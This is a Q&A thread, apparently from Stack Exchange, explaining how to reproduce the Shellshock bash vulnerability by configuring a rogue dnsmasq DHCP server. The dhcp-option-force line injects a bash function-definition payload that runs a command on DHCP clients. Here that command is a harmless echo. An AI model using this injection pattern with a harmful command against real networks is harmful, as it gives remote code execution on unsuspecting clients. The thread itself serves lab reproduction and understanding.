1

An attacker can exploit the bash bug in the DHCP protocol. On searching , how this can be performed , I found "http://www.sectechno.com/2014/09/28/shellshock-dhcp-server-exploitation/" , but could not found any tutorial showing it on linux machine.

Please explain, how it can used to attack on clients using dhcp server on linux. What configurations need to be done in dhcp server ?

8

In order to reproduce this vulnerability on *nix systems follow these steps:

  • Install dnsmasq. On Ubuntu machine it can be done by running following command:

    sudo apt-get install dnsmasq
    
  • Add following lines to /etc/dnsmasq.conf configuration file:

    interface="iface_server"
    
    dhcp-range="ip_start","ip_end",12h
    
    dhcp-option-force=100,() { :; }; echo 'You are going to be shocked..ShellShock !!!'>/tmp/
    

    The vulnerable code will be inserted in dhcp-option field of the header.

    Where is network interface DHCP server will be listening on, and ip_start, ip_end is the range of IP addresses that server will give out.

  • On target machine verify that an interface is configured to use DHCP client. It can be done by looking at the /etc/network/interfaces file.

    Following lines must be in the file:

    auto "iface_client"
    
    iface "iface_client" inet dhcp
    
  • On vulnerable machine enter following command:

    sudo ifdown "iface_client" && sudo ifup "iface_client"
    

    Where iface_client is network interface DHCP client will acquire IP address for.

Note that iface_server and iface_client must be connected to the same network.

  • Why does the DHCP client put that option in an environment variable and then run bash? – Roger Lipscombe Oct 3 '14 at 14:53
  • Then the same question will be why attacker attacks on the networks. There might be different intensions some attackers does it for money, some for fun and some to help others to overcome from the problem. The attack will be performed by the illegitimate dhcp server over client not by the dhcp client. – P4cK3tHuNt3R Oct 3 '14 at 15:30
  • My point is this: I can put arbitrary information in the DHCP options field if I own the DHCP server (or if the switch is not adequately secured against a rogue DHCP server). What causes the DHCP client (on Linux) to put that in an environment variable and then run bash? – Roger Lipscombe Oct 3 '14 at 19:11
  • If dhcp client uses bash shell to process the response of the dhcp server, then the attacker can trigger this vulnerability by using dhcp options. If the dhcp will process the response then the code will execute in bash shell. – P4cK3tHuNt3R Oct 4 '14 at 6:57
  • Yes. I understand that. My question is: why is the DHCP client using bash? – Roger Lipscombe Oct 4 '14 at 12:57

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.